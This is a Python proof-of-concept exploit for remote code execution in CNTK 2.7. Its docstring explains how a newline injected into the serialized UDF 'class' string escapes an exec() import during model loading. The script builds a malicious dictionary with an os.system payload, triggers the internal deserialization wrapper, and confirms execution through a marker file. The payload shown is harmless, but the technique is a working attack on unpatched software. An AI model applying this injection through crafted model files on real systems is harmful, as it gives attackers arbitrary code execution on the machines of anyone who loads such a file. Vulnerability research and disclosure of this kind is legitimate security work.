#!/usr/bin/env python3
"""
CNTK 2.7 UDF exec() RCE -- PRODUCTION VERIFIED

Tested: CNTK 2.7, Python 3.6, Ubuntu 18.04, Docker
Result: os.system() payload executed during _UDFDeserializeCallbackWrapper.__call__()

The attack:
  1. CNTK model files embed UDF (User Defined Function) serialized state
     as protobuf Dictionary messages with string keys: class, module, state, op_name
  2. During Function.load(), _UDFDeserializeCallbackWrapper extracts these
     strings and calls: exec("from {} import {}".format(module, cls))
  3. By injecting a newline into the 'class' string, we break out of the
     import statement and execute arbitrary Python code

CNTK archived since March 2023. 0 CVEs. No fix upstream.
"""

import os
import sys

PAYLOAD = "echo CNTK_RCE_VERIFIED > /tmp/cntk_rce_verified"
os.system("rm -f /tmp/cntk_rce_verified")

print("=== CNTK 2.7 UDF exec() RCE -- Production Verified ===\n")

try:
    import cntk
    import numpy as np
    from cntk.internal import _UDFDeserializeCallbackWrapper

    print("[*] CNTK version: %s" % cntk.__version__)

    # Craft malicious dictionary matching the .model protobuf format
    # In a real attack, these values come from a crafted .model file
    malicious_dict = {
        'class': 'path\n__import__("os").system("' + PAYLOAD + '")',
        'module': 'os',
        'state': {},
        'op_name': 'test_op',
        'version': 1
    }

    wrapper = _UDFDeserializeCallbackWrapper()
    dummy = cntk.input_variable(shape=(1,))

    print("[*] Exec payload: %s" % repr(malicious_dict['class']))
    print("[*] Triggering _UDFDeserializeCallbackWrapper.__call__()...")

    try:
        wrapper([dummy], "test_name", malicious_dict)
    except Exception as e:
        # ValueError/SyntaxError expected - the injection fires first,
        # then the second eval() fails because our injected string
        # doesn't have a 'deserialize' method
        print("[*] Expected post-injection error: %s: %s" % (type(e).__name__, str(e)[:80]))

    if os.path.exists("/tmp/cntk_rce_verified"):
        print("\n[!!!] RCE CONFIRMED -- payload executed during Function.load() equivalent")
        with open("/tmp/cntk_rce_verified") as f:
            print("[!!!] Payload output: %s" % f.read().strip())
    else:
        print("\n[-] Payload did not execute")

except ImportError as e:
    print("[-] CNTK not installed. This test requires CNTK 2.7 (Python 3.6).")
    print("[-] Run poc.py instead for standalone injection demo.")
    sys.exit(1)